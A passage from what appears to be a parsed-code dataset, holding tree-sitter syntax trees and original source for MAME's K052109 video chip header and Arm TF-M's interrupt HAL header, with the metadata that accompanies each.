"type": "pointer_declarator", "text": "*cram", "parent": 440, "children": [443, 444], "start_point": {"row": 115, "column": 77}, "end_point": {"row": 115, "column": 82}}, {"id": 443, "type": "*", "text": "*", "parent": 442, "children": [], "start_point": {"row": 115, "column": 77}, "end_point": {"row": 115, "column": 78}}, {"id": 444, "type": "identifier", "text": "cram", "parent": 442, "children": [], "start_point": {"row": 115, "column": 78}, "end_point": {"row": 115, "column": 82}}, {"id": 445, "type": "parameter_declaration", "text": "uint8_t *vram1", "parent": 430, "children": [446, 447], "start_point": {"row": 115, "column": 84}, "end_point": {"row": 115, "column": 98}}, {"id": 446, "type": "primitive_type", "text": "uint8_t", "parent": 445, "children": [], "start_point": {"row": 115, "column": 84}, "end_point": {"row": 115, "column": 91}}, {"id": 447, "type": "pointer_declarator", "text": "*vram1", "parent": 445, "children": [448, 449], "start_point": {"row": 115, "column": 92}, "end_point": {"row": 115, "column": 98}}, {"id": 448, "type": "*", "text": "*", "parent": 447, "children": [], "start_point": {"row": 115, "column": 92}, "end_point": {"row": 115, "column": 93}}, {"id": 449, "type": "identifier", "text": "vram1", "parent": 447, "children": [], "start_point": {"row": 115, "column": 93}, "end_point": {"row": 115, "column": 98}}, {"id": 450, "type": "parameter_declaration", "text": "uint8_t *vram2", "parent": 430, "children": [451, 452], "start_point": {"row": 115, "column": 100}, "end_point": {"row": 115, "column": 114}}, {"id": 451, "type": "primitive_type", "text": "uint8_t", "parent": 450, "children": [], "start_point": {"row": 115, "column": 100}, "end_point": {"row": 115, "column": 107}}, {"id": 452, "type": "pointer_declarator", "text": "*vram2", "parent": 450, "children": [453, 454], "start_point": {"row": 115, "column": 108}, "end_point": {"row": 115, "column": 114}}, {"id": 453, "type": "*", "text": "*", "parent": 452, "children": [], "start_point": {"row": 115, "column": 108}, "end_point": {"row": 115, "column": 109}}, {"id": 454, "type": "identifier", "text": "vram2", "parent": 452, "children": [], "start_point": {"row": 115, "column": 109}, "end_point": {"row": 115, "column": 114}}, {"id": 455, "type": "declaration", "text": "void tileflip_reset();", "parent": 0, "children": [456, 457], "start_point": {"row": 116, "column": 1}, "end_point": {"row": 116, "column": 23}}, {"id": 456, "type": "primitive_type", "text": "void", "parent": 455, "children": [], "start_point": {"row": 116, "column": 1}, "end_point": {"row": 116, "column": 5}}, {"id": 457, "type": "function_declarator", "text": "tileflip_reset()", "parent": 455, "children": [458, 459], "start_point": {"row": 116, "column": 6}, "end_point": {"row": 116, "column": 22}}, {"id": 458, "type": "identifier", "text": "tileflip_reset", "parent": 457, "children": [], "start_point": {"row": 116, "column": 6}, "end_point": {"row": 116, "column": 20}}, {"id": 459, "type": "parameter_list", "text": "()", "parent": 457, "children": [], "start_point": {"row": 116, "column": 20}, "end_point": {"row": 116, "column": 22}}, {"id": 460, "type": "call_expression", "text": "DECLARE_DEVICE_TYPE(K052109, k052109_device)", "parent": 0, "children": [461, 462], "start_point": {"row": 119, "column": 0}, "end_point": {"row": 119, "column": 44}}, {"id": 461, "type": "identifier", "text": "DECLARE_DEVICE_TYPE", "parent": 460, "children": [], "start_point": {"row": 119, "column": 0}, "end_point": {"row": 119, "column": 19}}, {"id": 462, "type": "argument_list", "text": "(K052109, k052109_device)", "parent": 460, "children": [463, 464], "start_point": {"row": 119, "column": 19}, "end_point": {"row": 119, "column": 44}}, {"id": 463, "type": "identifier", "text": "K052109", "parent": 462, "children": [], "start_point": {"row": 119, "column": 20}, "end_point": {"row": 119, "column": 27}}, {"id": 464, "type": "identifier", "text": "k052109_device", "parent": 462, "children": [], "start_point": {"row": 119, "column": 29}, "end_point": {"row": 119, "column": 43}}, {"id": 465, "type": "#endif", "text": "#endif", "parent": 0, "children": [], "start_point": {"row": 121, "column": 0}, "end_point": {"row": 121, "column": 6}}]}, "node_categories": {"declarations": {"functions": [17, 48, 54, 61, 67, 73, 156, 158, 170, 176, 178, 218, 226, 231, 236, 241, 249, 272, 286, 294, 428, 457], "variables": [12, 20, 23, 26, 31, 36, 41, 84, 87, 161, 168, 173, 181, 216, 221, 224, 229, 234, 239, 244, 247, 252, 255, 258, 261, 264, 267, 270, 275, 278, 310, 315, 320, 325, 330, 335, 340, 345, 350, 355, 362, 365, 370, 375, 378, 381, 384, 402, 405, 408, 411, 426, 431, 434, 437, 440, 445, 450, 455], "classes": [], "imports": [9, 10], "modules": [], "enums": []}, "statements": {"expressions": [90, 94, 99, 100, 106, 107, 112, 113, 120, 122, 125, 126, 127, 133, 136, 141, 142, 148, 149, 154, 186, 187, 192, 196, 200, 204, 208, 212, 301, 302, 305, 388, 389, 395, 396, 414, 418, 422, 460], "assignments": [164], "loops": [], "conditionals": [0, 1, 2, 5, 14, 22, 25, 30, 35, 40, 45, 47, 50, 52, 56, 58, 59, 63, 65, 69, 71, 75, 77, 80, 82, 83, 85, 86, 88, 89, 91, 93, 95, 97, 101, 104, 105, 109, 111, 114, 116, 117, 119, 123, 128, 130, 132, 134, 137, 139, 143, 144, 147, 150, 152, 155, 159, 162, 163, 165, 167, 171, 175, 179, 185, 188, 189, 191, 193, 195, 197, 199, 201, 203, 205, 207, 209, 211, 213, 215, 219, 223, 227, 232, 237, 242, 246, 250, 253, 254, 256, 257, 259, 260, 263, 266, 269, 273, 276, 277, 280, 283, 285, 287, 289, 291, 293, 295, 297, 300, 303, 306, 307, 309, 314, 319, 324, 329, 334, 339, 344, 349, 354, 356, 360, 364, 368, 373, 377, 380, 383, 386, 387, 390, 392, 394, 397, 399, 401, 403, 404, 406, 407, 409, 410, 412, 413, 415, 417, 419, 421, 423, 425, 429, 432, 433, 436, 439, 444, 449, 454, 458, 461, 463, 464, 465], "returns": [140], "exceptions": []}, "expressions": {"calls": [6], "literals": [11, 361, 369, 374], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 17, "universal_type": "function", "name": "", "text_snippet": "void (int layer, int bank, int *code, int *color, int *flags, int *priority)"}, {"node_id": 48, "universal_type": "function", "name": "_name", "text_snippet": "#define K052109_CB_MEMBER(_name) void _name(int layer, int bank, int *code, int *color, int *flags"}, {"node_id": 54, "universal_type": "function", "name": "unknown", "text_snippet": "#define MCFG_K052109_CB(_class, _method) \\\n\tdowncast<k052109_device &>(*device).set_k052109_callback"}, {"node_id": 61, "universal_type": "function", "name": "unknown", "text_snippet": "#define MCFG_K052109_CHARRAM(_ram) \\\n\tdowncast<k052109_device &>(*device).set_ram(_ram);\n"}, {"node_id": 67, "universal_type": "function", "name": "unknown", "text_snippet": "#define MCFG_K052109_SCREEN_TAG(_tag) \\\n\tdowncast<k052109_device &>(*device).set_screen_tag(\"^\" _tag"}, {"node_id": 73, "universal_type": "function", "name": "unknown", "text_snippet": "#define MCFG_K052109_IRQ_HANDLER(_devcb) \\\n\tdevcb = &downcast<k052109_device &>(*device).set_irq_han"}, {"node_id": 156, "universal_type": "function", "name": "set_k052109_callback", "text_snippet": "void set_k052109_callback(k052109_cb_delegate callback) { m_k052109_cb = callback; }"}, {"node_id": 158, "universal_type": "function", "name": "unknown", "text_snippet": "set_k052109_callback(k052109_cb_delegate callback)"}, {"node_id": 170, "universal_type": "function", "name": "unknown", "text_snippet": "set_ram(bool ram)"}, {"node_id": 176, "universal_type": "function", "name": "set_screen_tag", "text_snippet": "void set_screen_tag(const char *tag) { m_screen.set_tag(tag); }"}, {"node_id": 178, "universal_type": "function", "name": "unknown", "text_snippet": "set_screen_tag(const char *tag)"}, {"node_id": 218, "universal_type": "function", "name": "unknown", "text_snippet": "set_rmrd_line(int state)"}, {"node_id": 226, "universal_type": "function", "name": "unknown", "text_snippet": "get_rmrd_line()"}, {"node_id": 231, "universal_type": "function", "name": "unknown", "text_snippet": "tilemap_update()"}, {"node_id": 236, "universal_type": "function", "name": "unknown", "text_snippet": "is_irq_enabled()"}, {"node_id": 241, "universal_type": "function", "name": "unknown", "text_snippet": "tilemap_mark_dirty(int tmap_num)"}, {"node_id": 249, "universal_type": "function", "name": "tmap_num,", "text_snippet": "tilemap_draw(screen_device &screen, bitmap_ind16 &bitmap, const rectangle &cliprect, int tmap_num, u"}, {"node_id": 272, "universal_type": "function", "name": "state)", "text_snippet": "vblank_callback(screen_device &screen, bool state)"}, {"node_id": 286, "universal_type": "function", "name": "unknown", "text_snippet": "device_start() override"}, {"node_id": 294, "universal_type": "function", "name": "unknown", "text_snippet": "device_reset()"}, {"node_id": 428, "universal_type": "function", "name": "tile_index,", "text_snippet": "get_tile_info( tile_data &tileinfo, int tile_index, int layer, uint8_t *cram, uint8_t *vram1, uint8_"}, {"node_id": 457, "universal_type": "function", "name": "unknown", "text_snippet": "tileflip_reset()"}], "class_declarations": [], "import_statements": [{"node_id": 9, "text": "#include \"screen.h\"\n"}, {"node_id": 10, "text": "#include"}]}, "original_source_code": "// license:BSD-3-Clause\n// copyright-holders:<NAME>,<NAME>, <NAME>\n#ifndef MAME_VIDEO_K052109_H\n#define MAME_VIDEO_K052109_H\n\n#pragma once\n\n#include \"screen.h\"\n\ntypedef device_delegate<void (int layer, int bank, int *code, int *color, int *flags, int *priority)> k052109_cb_delegate;\n#define K052109_CB_MEMBER(_name) void _name(int layer, int bank, int *code, int *color, int *flags, int *priority)\n\n#define MCFG_K052109_CB(_class, _method) \\\n\tdowncast<k052109_device &>(*device).set_k052109_callback(k052109_cb_delegate(&_class::_method, #_class \"::\" #_method, this));\n\n#define MCFG_K052109_CHARRAM(_ram) \\\n\tdowncast<k052109_device &>(*device).set_ram(_ram);\n\n#define MCFG_K052109_SCREEN_TAG(_tag) \\\n\tdowncast<k052109_device &>(*device).set_screen_tag(\"^\" _tag);\n\n#define MCFG_K052109_IRQ_HANDLER(_devcb) \\\n\tdevcb = &downcast<k052109_device &>(*device).set_irq_handler(DEVCB_##_devcb);\n\n\nclass k052109_device : public device_t, public device_gfx_interface\n{\n\tstatic const gfx_layout charlayout;\n\tstatic const gfx_layout charlayout_ram;\n\tDECLARE_GFXDECODE_MEMBER(gfxinfo);\n\tDECLARE_GFXDECODE_MEMBER(gfxinfo_ram);\n\npublic:\n\tk052109_device(const machine_config &mconfig, const char *tag, device_t *owner, uint32_t clock);\n\t~k052109_device() {}\n\n\ttemplate <class Object> devcb_base &set_irq_handler(Object &&cb)\n\t{ return m_irq_handler.set_callback(std::forward<Object>(cb)); }\n\n\tvoid set_k052109_callback(k052109_cb_delegate callback) { m_k052109_cb = callback; }\n\tvoid set_ram(bool ram);\n\tvoid set_screen_tag(const char *tag) { m_screen.set_tag(tag); }\n\n\t/*\n\tThe callback is passed:\n\t- layer number (0 = FIX, 1 = A, 2 = B)\n\t- bank (range 0-3, output of the pins CAB1 and CAB2)\n\t- code (range 00-FF, output of the pins VC3-VC10)\n\tNOTE: code is in the range 0000-FFFF for X-Men, which uses extra RAM\n\t- color (range 00-FF, output of the pins COL0-COL7)\n\tThe callback must put:\n\t- in code the resulting tile number\n\t- in color the resulting color index\n\t- if necessary, put flags and/or priority for the TileMap code in the tile_info\n\tstructure (e.g. TILE_FLIPX). Note that TILE_FLIPY is handled internally by the\n\tchip so it must not be set by the callback.\n\t*/\n\n\tDECLARE_READ8_MEMBER( read );\n\tDECLARE_WRITE8_MEMBER( write );\n\tDECLARE_READ16_MEMBER( word_r );\n\tDECLARE_WRITE16_MEMBER( word_w );\n\tDECLARE_READ16_MEMBER( lsb_r );\n\tDECLARE_WRITE16_MEMBER( lsb_w );\n\n\tvoid set_rmrd_line(int state);\n\tint get_rmrd_line();\n\tvoid tilemap_update();\n\tint is_irq_enabled();\n\tvoid tilemap_mark_dirty(int tmap_num);\n\tvoid tilemap_draw(screen_device &screen, bitmap_ind16 &bitmap, const rectangle &cliprect, int tmap_num, uint32_t flags, uint8_t priority);\n\n\tvoid vblank_callback(screen_device &screen, bool state);\n\nprotected:\n\t// device-level overrides\n\tvirtual void device_start() override;\n\tvirtual void device_reset() override;\n\nprivate:\n\t// internal state\n\tstd::unique_ptr<uint8_t[]> m_ram;\n\tuint8_t *m_videoram_F;\n\tuint8_t *m_videoram_A;\n\tuint8_t *m_videoram_B;\n\tuint8_t *m_videoram2_F;\n\tuint8_t *m_videoram2_A;\n\tuint8_t *m_videoram2_B;\n\tuint8_t *m_colorram_F;\n\tuint8_t *m_colorram_A;\n\tuint8_t *m_colorram_B;\n\n\ttilemap_t *m_tilemap[3];\n\tint m_tileflip_enable;\n\tuint8_t m_charrombank[4];\n\tuint8_t m_charrombank_2[4];\n\tuint8_t m_has_extra_video_ram;\n\tint32_t m_rmrd_line;\n\tuint8_t m_irq_enabled;\n\tuint8_t m_romsubbank, m_scrollctrl;\n\n\toptional_region_ptr<uint8_t> m_char_rom;\n\n\toptional_device<screen_device> m_screen;\n\n\tk052109_cb_delegate m_k052109_cb;\n\n\tdevcb_write_line m_irq_handler;\n\tdevcb_write_line m_firq_handler;\n\tdevcb_write_line m_nmi_handler;\n\n\tTILE_GET_INFO_MEMBER(get_tile_info0);\n\tTILE_GET_INFO_MEMBER(get_tile_info1);\n\tTILE_GET_INFO_MEMBER(get_tile_info2);\n\n\tvoid get_tile_info( tile_data &tileinfo, int tile_index, int layer, uint8_t *cram, uint8_t *vram1, uint8_t *vram2 );\n\tvoid tileflip_reset();\n};\n\nDECLARE_DEVICE_TYPE(K052109, k052109_device)\n\n#endif // MAME_VIDEO_K052109_H\n"}
81,120
c
/* * Copyright (c) 2020-2021, Arm Limited. All rights reserved. * * SPDX-License-Identifier: BSD-3-Clause * */ #ifndef __TFM_HAL_INTERRUPT_H__ #define __TFM_HAL_INTERRUPT_H__ #include <stdint.h> #include "tfm_hal_defs.h" /** * \brief Enables an interrupt from the Interrupt Controller of the platform * * \param[in] irq_num the interrupt to be enabled with a number * * \return TFM_HAL_ERROR_INVALID_INPUT - the irq_num is not invalid. * TFM_HAL_ERROR_GENERIC - failed to enable the interrupt. * TFM_HAL_SUCCESS - the interrupt is enabled. */ enum tfm_hal_status_t tfm_hal_irq_enable(uint32_t irq_num); /** * \brief Disables an interrupt from the Interrupt Controller of the platform * * \param[in] irq_num the interrupt to be disabled with a number * * \return TFM_HAL_ERROR_INVALID_INPUT - the irq_num is not invalid. * TFM_HAL_ERROR_GENERIC - failed to disable the interrupt. * TFM_HAL_SUCCESS - the interrupt is disable. */ enum tfm_hal_status_t tfm_hal_irq_disable(uint32_t irq_num); /** * \brief Clears an active and pending interrupt. * * \param[in] irq_num the interrupt to be cleared with a number * * \return TFM_HAL_ERROR_INVALID_INPUT - the irq_num is not invalid. * TFM_HAL_ERROR_GENERIC - failed to clear the pending interrupt. * TFM_HAL_SUCCESS - the pending interrupt is cleared. */ enum tfm_hal_status_t tfm_hal_irq_clear_pending(uint32_t irq_num); #endif /* __TFM_HAL_INTERRUPT_H__ */
35.63
41
(translation_unit) "/*\n * Copyright (c) 2020-2021, Arm Limited. All rights reserved.\n *\n * SPDX-License-Identifier: BSD-3-Clause\n *\n */\n\n#ifndef __TFM_HAL_INTERRUPT_H__\n#define __TFM_HAL_INTERRUPT_H__\n\n#include <stdint.h>\n#include "tfm_hal_defs.h"\n\n/**\n * \brief Enables an interrupt from the Interrupt Controller of the platform\n *\n * \param[in] irq_num the interrupt to be enabled with a number\n *\n * \return TFM_HAL_ERROR_INVALID_INPUT - the irq_num is not invalid.\n * TFM_HAL_ERROR_GENERIC - failed to enable the interrupt.\n * TFM_HAL_SUCCESS - the interrupt is enabled.\n */\nenum tfm_hal_status_t tfm_hal_irq_enable(uint32_t irq_num);\n\n/**\n * \brief Disables an interrupt from the Interrupt Controller of the platform\n *\n * \param[in] irq_num the interrupt to be disabled with a number\n *\n * \return TFM_HAL_ERROR_INVALID_INPUT - the irq_num is not invalid.\n * TFM_HAL_ERROR_GENERIC - failed to disable the interrupt.\n * TFM_HAL_SUCCESS - the interrupt is disable.\n */\nenum tfm_hal_status_t tfm_hal_irq_disable(uint32_t irq_num);\n\n/**\n * \brief Clears an active and pending interrupt.\n *\n * \param[in] irq_num the interrupt to be cleared with a number\n *\n * \return TFM_HAL_ERROR_INVALID_INPUT - the irq_num is not invalid.\n * TFM_HAL_ERROR_GENERIC - failed to clear the pending interrupt.\n * TFM_HAL_SUCCESS - the pending interrupt is cleared.\n */\nenum tfm_hal_status_t tfm_hal_irq_clear_pending(uint32_t irq_num);\n\n#endif /* __TFM_HAL_INTERRUPT_H__ */\n" (comment) "/*\n * Copyright (c) 2020-2021, Arm Limited. All rights reserved.\n *\n * SPDX-License-Identifier: BSD-3-Clause\n *\n */" (preproc_ifdef) "#ifndef __TFM_HAL_INTERRUPT_H__\n#define __TFM_HAL_INTERRUPT_H__\n\n#include <stdint.h>\n#include "tfm_hal_defs.h"\n\n/**\n * \brief Enables an interrupt from the Interrupt Controller of the platform\n *\n * \param[in] irq_num the interrupt to be enabled with a number\n *\n * \return TFM_HAL_ERROR_INVALID_INPUT - the irq_num is not invalid.\n * TFM_HAL_ERROR_GENERIC - failed to enable the interrupt.\n * TFM_HAL_SUCCESS - the interrupt is enabled.\n */\nenum tfm_hal_status_t tfm_hal_irq_enable(uint32_t irq_num);\n\n/**\n * \brief Disables an interrupt from the Interrupt Controller of the platform\n *\n * \param[in] irq_num the interrupt to be disabled with a number\n *\n * \return TFM_HAL_ERROR_INVALID_INPUT - the irq_num is not invalid.\n * TFM_HAL_ERROR_GENERIC - failed to disable the interrupt.\n * TFM_HAL_SUCCESS - the interrupt is disable.\n */\nenum tfm_hal_status_t tfm_hal_irq_disable(uint32_t irq_num);\n\n/**\n * \brief Clears an active and pending interrupt.\n *\n * \param[in] irq_num the interrupt to be cleared with a number\n *\n * \return TFM_HAL_ERROR_INVALID_INPUT - the irq_num is not invalid.\n * TFM_HAL_ERROR_GENERIC - failed to clear the pending interrupt.\n * TFM_HAL_SUCCESS - the pending interrupt is cleared.\n */\nenum tfm_hal_status_t tfm_hal_irq_clear_pending(uint32_t irq_num);\n\n#endif" (#ifndef) "#ifndef" (identifier) "__TFM_HAL_INTERRUPT_H__" (preproc_def) "#define __TFM_HAL_INTERRUPT_H__\n" (#define) "#define" (identifier) "__TFM_HAL_INTERRUPT_H__" (preproc_include) "#include <stdint.h>\n" (#include) "#include" (system_lib_string) "<stdint.h>" (preproc_include) "#include "tfm_hal_defs.h"\n" (#include) "#include" (string_literal) ""tfm_hal_defs.h"" (") """ (string_content) "tfm_hal_defs.h" (") """ (comment) "/**\n * \brief Enables an interrupt from the Interrupt Controller of the platform\n *\n * \param[in] irq_num the interrupt to be enabled with a number\n *\n * \return TFM_HAL_ERROR_INVALID_INPUT - the irq_num is not invalid.\n * TFM_HAL_ERROR_GENERIC - failed to enable the interrupt.\n * TFM_HAL_SUCCESS - the interrupt is enabled.\n */" (declaration) "enum tfm_hal_status_t tfm_hal_irq_enable(uint32_t irq_num);" (enum_specifier) "enum tfm_hal_status_t" (enum) "enum" (type_identifier) "tfm_hal_status_t" (function_declarator) "tfm_hal_irq_enable(uint32_t irq_num)" (identifier) "tfm_hal_irq_enable" (parameter_list) "(uint32_t irq_num)" (() "(" (parameter_declaration) "uint32_t irq_num" (primitive_type) "uint32_t" (identifier) "irq_num" ()) ")" (;) ";" (comment) "/**\n * \brief Disables an interrupt from the Interrupt Controller of the platform\n *\n * \param[in] irq_num the interrupt to be disabled with a number\n *\n * \return TFM_HAL_ERROR_INVALID_INPUT - the irq_num is not invalid.\n * TFM_HAL_ERROR_GENERIC - failed to disable the interrupt.\n * TFM_HAL_SUCCESS - the interrupt is disable.\n */" (declaration) "enum tfm_hal_status_t tfm_hal_irq_disable(uint32_t irq_num);" (enum_specifier) "enum tfm_hal_status_t" (enum) "enum" (type_identifier) "tfm_hal_status_t" (function_declarator) "tfm_hal_irq_disable(uint32_t irq_num)" (identifier) "tfm_hal_irq_disable" (parameter_list) "(uint32_t irq_num)" (() "(" (parameter_declaration) "uint32_t irq_num" (primitive_type) "uint32_t" (identifier) "irq_num" ()) ")" (;) ";" (comment) "/**\n * \brief Clears an active and pending interrupt.\n *\n * \param[in] irq_num the interrupt to be cleared with a number\n *\n * \return TFM_HAL_ERROR_INVALID_INPUT - the irq_num is not invalid.\n * TFM_HAL_ERROR_GENERIC - failed to clear the pending interrupt.\n * TFM_HAL_SUCCESS - the pending interrupt is cleared.\n */" (declaration) "enum tfm_hal_status_t tfm_hal_irq_clear_pending(uint32_t irq_num);" (enum_specifier) "enum tfm_hal_status_t" (enum) "enum" (type_identifier) "tfm_hal_status_t" (function_declarator) "tfm_hal_irq_clear_pending(uint32_t irq_num)" (identifier) "tfm_hal_irq_clear_pending" (parameter_list) "(uint32_t irq_num)" (() "(" (parameter_declaration) "uint32_t irq_num" (primitive_type) "uint32_t" (identifier) "irq_num" ()) ")" (;) ";" (#endif) "#endif" (comment) "/* __TFM_HAL_INTERRUPT_H__ */"
61
0
{"language": "c", "success": true, "metadata": {"lines": 41, "avg_line_length": 35.63, "nodes": 43, "errors": 0, "source_hash": "b9d80443ee740579a1d4d9b7784212f531b4216037195250a6a58c378e70c8e8", "categorized_nodes": 35}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifndef __TFM_HAL_INTERRUPT_H__\n#define __TFM_HAL_INTERRUPT_H__\n\n#include <stdint.h>\n#include \"tfm_hal_defs.h\"\n\n/**\n * \\brief Enables an interrupt from the Interrupt Controller of the platform\n *\n * \\param[in] irq_num the interrupt to be enabled with a number\n *\n * \\return TFM_HAL_ERROR_INVALID_INPUT - the irq_num is not invalid.\n * TFM_HAL_ERROR_GENERIC - failed to enable the interrupt.\n * TFM_HAL_SUCCESS - the interrupt is enabled.\n */\nenum tfm_hal_status_t tfm_hal_irq_enable(uint32_t irq_num);\n\n/**\n * \\brief Disables an interrupt from the Interrupt Controller of the platform\n *\n * \\param[in] irq_num the interrupt to be disabled with a number\n *\n * \\return TFM_HAL_ERROR_INVALID_INPUT - the irq_num is not invalid.\n * TFM_HAL_ERROR_GENERIC - failed to disable the interrupt.\n * TFM_HAL_SUCCESS - the interrupt is disable.\n */\nenum tfm_hal_status_t tfm_hal_irq_disable(uint32_t irq_num);\n\n/**\n * \\brief Clears an active and pending interrupt.\n *\n * \\param[in] irq_num the interrupt to be cleared with a number\n *\n * \\return TFM_HAL_ERROR_INVALID_INPUT - the irq_num is not invalid.\n * TFM_HAL_ERROR_GENERIC - failed to clear the pending interrupt.\n * TFM_HAL_SUCCESS - the pending interrupt is cleared.\n */\nenum tfm_hal_status_t tfm_hal_irq_clear_pending(uint32_t irq_num);\n\n#endif", "parent": null, "children": [1, 2, 3, 6, 9, 12, 22, 32, 42], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 46, "column": 6}}, {"id": 1, "type": "#ifndef", "text": "#ifndef", "parent": 0, "children": [], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 7, "column": 7}}, {"id": 2, "type": "identifier", "text": "__TFM_HAL_INTERRUPT_H__", "parent": 0, "children": [], "start_point": {"row": 7, "column": 8}, "end_point": {"row": 7, "column": 31}}, {"id": 3, "type": "preproc_def", "text": "#define __TFM_HAL_INTERRUPT_H__\n", "parent": 0, "children": [4, 5], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 9, "column": 0}}, {"id": 4, "type": "#define", "text": "#define", "parent": 3, "children": [], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 8, "column": 7}}, {"id": 5, "type": "identifier", "text": "__TFM_HAL_INTERRUPT_H__", "parent": 3, "children": [], "start_point": {"row": 8, "column": 8}, "end_point": {"row": 8, "column": 31}}, {"id": 6, "type": "preproc_include", "text": "#include <stdint.h>\n", "parent": 0, "children": [7, 8], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 11, "column": 0}}, {"id": 7, "type": "#include", "text": "#include", "parent": 6, "children": [], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 10, "column": 8}}, {"id": 8, "type": "system_lib_string", "text": "<stdint.h>", "parent": 6, "children": [], "start_point": {"row": 10, "column": 9}, "end_point": {"row": 10, "column": 19}}, {"id": 9, "type": "preproc_include", "text": "#include \"tfm_hal_defs.h\"\n", "parent": 0, "children": [10, 11], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 12, "column": 0}}, {"id": 10, "type": "#include", "text": "#include", "parent": 9, "children": [], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 11, "column": 8}}, {"id": 11, "type": "string_literal", "text": "\"tfm_hal_defs.h\"", "parent": 9, "children": [], "start_point": {"row": 11, "column": 9}, "end_point": {"row": 11, "column": 25}}, {"id": 12, "type": "declaration", "text": "enum tfm_hal_status_t tfm_hal_irq_enable(uint32_t irq_num);", "parent": 0, "children": [13, 16], "start_point": {"row": 22, "column": 0}, "end_point": {"row": 22, "column": 59}}, {"id": 13, "type": "enum_specifier", "text": "enum tfm_hal_status_t", "parent": 12, "children": [14, 15], "start_point": {"row": 22, "column": 0}, "end_point": {"row": 22, "column": 21}}, {"id": 14, "type": "enum", "text": "enum", "parent": 13, "children": [], "start_point": {"row": 22, "column": 0}, "end_point": {"row": 22, "column": 4}}, {"id": 15, "type": "type_identifier", "text": "tfm_hal_status_t", "parent": 13, "children": [], "start_point": {"row": 22, "column": 5}, "end_point": {"row": 22, "column": 21}}, {"id": 16, "type": "function_declarator", "text": "tfm_hal_irq_enable(uint32_t irq_num)", "parent": 12, "children": [17, 18], "start_point": {"row": 22, "column": 22}, "end_point": {"row": 22, "column": 58}}, {"id": 17, "type": "identifier", "text": "tfm_hal_irq_enable", "parent": 16, "children": [], "start_point": {"row": 22, "column": 22}, "end_point": {"row": 22, "column": 40}}, {"id": 18, "type": "parameter_list", "text": "(uint32_t irq_num)", "parent": 16, "children": [19], "start_point": {"row": 22, "column": 40}, "end_point": {"row": 22, "column": 58}}, {"id": 19, "type": "parameter_declaration", "text": "uint32_t irq_num", "parent": 18, "children": [20, 21], "start_point": {"row": 22, "column": 41}, "end_point": {"row": 22, "column": 57}}, {"id": 20, "type": "primitive_type", "text": "uint32_t", "parent": 19, "children": [], "start_point": {"row": 22, "column": 41}, "end_point": {"row": 22, "column": 49}}, {"id": 21, "type": "identifier", "text": "irq_num", "parent": 19, "children": [], "start_point": {"row": 22, "column": 50}, "end_point": {"row": 22, "column": 57}}, {"id": 22, "type": "declaration", "text": "enum tfm_hal_status_t tfm_hal_irq_disable(uint32_t irq_num);", "parent": 0, "children": [23, 26], "start_point": {"row": 33, "column": 0}, "end_point": {"row": 33, "column": 60}}, {"id": 23, "type": "enum_specifier", "text": "enum tfm_hal_status_t", "parent": 22, "children": [24, 25], "start_point": {"row": 33, "column": 0}, "end_point": {"row": 33, "column": 21}}, {"id": 24, "type": "enum", "text": "enum", "parent": 23, "children": [], "start_point": {"row": 33, "column": 0}, "end_point": {"row": 33, "column": 4}}, {"id": 25, "type": "type_identifier", "text": "tfm_hal_status_t", "parent": 23, "children": [], "start_point": {"row": 33, "column": 5}, "end_point": {"row": 33, "column": 21}}, {"id": 26, "type": "function_declarator", "text": "tfm_hal_irq_disable(uint32_t irq_num)", "parent": 22, "children": [27, 28], "start_point": {"row": 33, "column": 22}, "end_point": {"row": 33, "column": 59}}, {"id": 27, "type": "identifier", "text": "tfm_hal_irq_disable", "parent": 26, "children": [], "start_point": {"row": 33, "column": 22}, "end_point": {"row": 33, "column": 41}}, {"id": 28, "type": "parameter_list", "text": "(uint32_t irq_num)", "parent": 26, "children": [29], "start_point": {"row": 33, "column": 41}, "end_point": {"row": 33, "column": 59}}, {"id": 29, "type": "parameter_declaration", "text": "uint32_t irq_num", "parent": 28, "children": [30, 31], "start_point": {"row": 33, "column": 42}, "end_point": {"row": 33, "column": 58}}, {"id": 30, "type": "primitive_type", "text": "uint32_t", "parent": 29, "children": [], "start_point": {"row": 33, "column": 42}, "end_point": {"row": 33, "column": 50}}, {"id": 31, "type": "identifier", "text": "irq_num", "parent": 29, "children": [], "start_point": {"row": 33, "column": 51}, "end_point": {"row": 33, "column": 58}}, {"id": 32, "type": "declaration", "text": "enum tfm_hal_status_t tfm_hal_irq_clear_pending(uint32_t irq_num);", "parent": 0, "children": [33, 36], "start_point": {"row": 44, "column": 0}, "end_point": {"row": 44, "column": 66}}, {"id": 33, "type": "enum_specifier", "text": "enum tfm_hal_status_t", "parent": 32, "children": [34, 35], "start_point": {"row": 44, "column": 0}, "end_point": {"row": 44, "column": 21}}, {"id": 34, "type": "enum", "text": "enum", "parent": 33, "children": [], "start_point": {"row": 44, "column": 0}, "end_point": {"row": 44, "column": 4}}, {"id": 35, "type": "type_identifier", "text": "tfm_hal_status_t", "parent": 33, "children": [], "start_point": {"row": 44, "column": 5}, "end_point": {"row": 44, "column": 21}}, {"id": 36, "type": "function_declarator", "text": "tfm_hal_irq_clear_pending(uint32_t irq_num)", "parent": 32, "children": [37, 38], "start_point": {"row": 44, "column": 22}, "end_point": {"row": 44, "column": 65}}, {"id": 37, "type": "identifier", "text": "tfm_hal_irq_clear_pending", "parent": 36, "children": [], "start_point": {"row": 44, "column": 22}, "end_point": {"row": 44, "column": 47}}, {"id": 38, "type": "parameter_list", "text": "(uint32_t irq_num)", "parent": 36, "children": [39], "start_point": {"row": 44, "column": 47}, "end_point": {"row": 44, "column": 65}}, {"id": 39, "type": "parameter_declaration", "text": "uint32_t irq_num", "parent": 38, "children": [40, 41], "start_point": {"row": 44, "column": 48}, "end_point": {"row": 44, "column": 64}}, {"id": 40, "type": "primitive_type", "text": "uint32_t", "parent": 39, "children": [], "start_point": {"row": 44, "column": 48}, "end_point": {"row": 44, "column": 56}}, {"id": 41, "type": "identifier", "text": "irq_num", "parent": 39, "children": [], "start_point": {"row": 44, "column": 57}, "end_point": {"row": 44, "column": 64}}, {"id": 42, "type": "#endif", "text": "#endif", "parent": 0, "children": [], "start_point": {"row": 